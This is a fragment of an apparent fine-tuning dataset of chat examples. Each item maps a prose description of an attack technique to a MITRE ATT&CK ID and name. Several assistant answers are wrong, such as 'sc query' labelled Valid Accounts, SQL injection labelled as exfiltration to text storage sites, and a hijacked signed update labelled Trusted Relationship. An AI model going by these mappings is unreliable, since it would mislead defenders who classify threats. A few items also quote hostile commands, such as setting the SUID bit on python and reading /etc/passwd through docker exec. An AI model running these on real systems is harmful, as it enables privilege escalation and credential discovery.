                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes tampering with the OS to prevent storage of command history."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise an organization's software development lifecycle by inserting malicious code into proprietary software before it is distributed to customers."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is hidden in an Office Test file and executed when the victim opens Excel."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a new container in the victim's Azure Container Instances with a malicious startup script to establish remote access."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker renamed a malicious executable to \"document.pdf.exe\" to trick users into thinking it was a harmless PDF file, leveraging the Masquerade File Type technique."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a compromised service to initiate MFA challenges for a target's account, aiming to capture the approval code."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators develop a multi‑stage exploit that first gains user‑level access and then escalates to system privileges."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Botnet utilizes a domain generation algorithm (DGA) that produces 1000 daily domains for C2."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a misconfigured AWS S3 bucket used for web hosting to upload malicious files that served as backdoors."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion attempt uses a three‑step port knocking routine—first contacting port 22, then 80, then 443—to trigger a rule that enables a covert management channel."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant includes a built‑in exfiltration routine that sends file hashes to a remote logging service before encryption."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised CDN to serve malicious JavaScript that performed a drive‑by compromise, installing a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker captures an Office 365 application token from memory and leverages it to access Exchange Online data."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a service masquerading as 'svchost.exe' to blend with legitimate system processes."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a compromised personal OneDrive account to sync corporate documents to their own device."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs \"chmod +s /usr/bin/python\" to set the SUID bit, enabling code execution with elevated privileges on a Linux host."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs a network scan to discover the target's public IP address and network adapter details."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a specially crafted Excel file that triggers a remote code execution exploit when the victim opens the file."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an unpatched vulnerability in a common PDF reader, the attacker forces the application to enter an infinite loop, denying service to the user."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses double file extensions like .docx.bat to hide the true executable nature of the payload."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised IIS server to host a phishing page, using the server’s legitimate SSL certificate to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies the system's boot configuration data (BCD) to point to a hidden malicious loader."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed the Confluence XML export feature to download a snapshot of all internal wikis."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets a registry key that runs a malicious script whenever a specific network packet is detected, leveraging event‑triggered execution via a trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the icacls command to grant Everyone full control over a sensitive log file, enabling later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the ROMMON mode on Cisco routers to load malicious firmware, allowing persistent code execution before the OS boots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised an Azure AD Connect server and modified the password hash synchronization schedule to delay detection of credential changes."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker executes 'launchctl load /Library/LaunchDaemons/com.bad.agent.plist' to start a malicious daemon and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses reverse engineering to locate and copy the JWT token saved in the app's cache directory."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Group Policy Preferences to set the Outlook HomePage to a malicious HTTPS page, ensuring it loads for all domain users on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage PowerShell to enumerate Active Directory groups and users for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool creates a snapshot of the system drive and parses the NTDS.dit file to obtain domain credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the XSLT processor by embedding a script in an XSL stylesheet, which the victim's application executes during XML transformation."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake software update notification includes a link; clicking the link runs a malicious executable that escalates privileges."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group injects hidden backlinks into legitimate sites to boost the visibility of a malicious landing page in search engines."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the host-based firewall and antivirus real-time protection to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining credentials via phishing, the attacker accessed the website's CMS and posted a defaced version of the homepage, visible to all internet users."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary renamed a malicious PowerShell script to appear as a harmless PDF file, allowing it to bypass file type filters."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified the domain's Group Policy to enable insecure LDAP signing, allowing them to capture clear-text credentials from network traffic."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware adjusts the device's power management policy to prevent the system from entering suspend mode during data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses base64-encoded payloads embedded within PowerShell commands hidden in VBA macros."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hides a script within the EXIF data of a photograph, which is later parsed by a vulnerable image processing library."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker issues 'sc query' to list all services and their current state on the host."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script captures screenshots of the login screen and records user entry fields in real time."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor appends a command to ~/.bash_profile that launches a payload after each login."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware encodes its configuration data using Base64 to hide sensitive information from analysts."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group creates a fake device registration in Office 365, enabling them to authenticate as the legitimate user from any location."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses snmpwalk commands to dump the device’s MIB, extracting configuration values for later use."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a malicious payload in the metadata of a RAW image file; processing the image with certain software triggers the execution of a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly sends large SOAP requests to an API endpoint, exhausting the application’s memory and causing it to crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a scheduled task to download and place a privilege escalation script into the system's startup folder."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits default local accounts such as the Administrator account to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious binary queries the Windows API to see if a kernel debugger is attached before proceeding with its payload."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a brute‑force attack against the corporate webmail login page, eventually guessing the correct password."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Shodan API to locate vulnerable IoT devices exposed to the internet."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs \"ctr containers list\" to enumerate containers managed by containerd on the compromised node."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor provisions a new cloud account and assigns it to a compromised botnet for command and control."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script extracts Kerberos tickets from the memory of a privileged process and injects them into another session."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group harvests exploit kits from underground markets to develop new attack capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a popular news website and injects malicious JavaScript that automatically downloads a ransomware payload to any visitor’s machine."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed a container's file system by executing \"docker exec cat /etc/passwd\" to enumerate users."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated bootkit modifies the GRUB configuration on a Linux server to load a hidden kernel module during boot, bypassing security checks."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attached an executable named \"invoice.pdf.exe\", tricking users into thinking it was a PDF document."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse Azure Container Instances' scheduled tasks to launch a PowerShell script that exfiltrates data from linked storage accounts."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps out the UEFI firmware with a malicious bootloader that runs before the operating system loads."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant leverages the Windows API to enumerate mounted USB devices attached to the system."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used PowerShell's \"Get-NetStat\" to gather details about open network sockets on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking a supply‑chain software update, the actor introduced malicious code that executed under the guise of a trusted vendor’s signed binary."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group automates the creation of a DigitalOcean droplet to exfiltrate data and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary registers a malicious COM class in the Windows Registry under HKLM\\Software\\Classes\\CLSID to replace a legitimate component, causing the system to load the malicious DLL when the COM object is instantiated."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SQL injection for extracting sensitive data"
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the AppInit_DLLs technique, inserting a custom DLL path into the registry to run malicious code whenever a GUI process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stealthy virtual container, the attacker runs the ransomware, preventing endpoint sensors from seeing the process."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploitation routine queried the SNMP daemon to retrieve configuration parameters via a MIB dump."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious QR code is shared through WhatsApp messages, directing users to a malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a PowerShell script to capture clipboard contents and upload them to a malicious Dropbox account."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
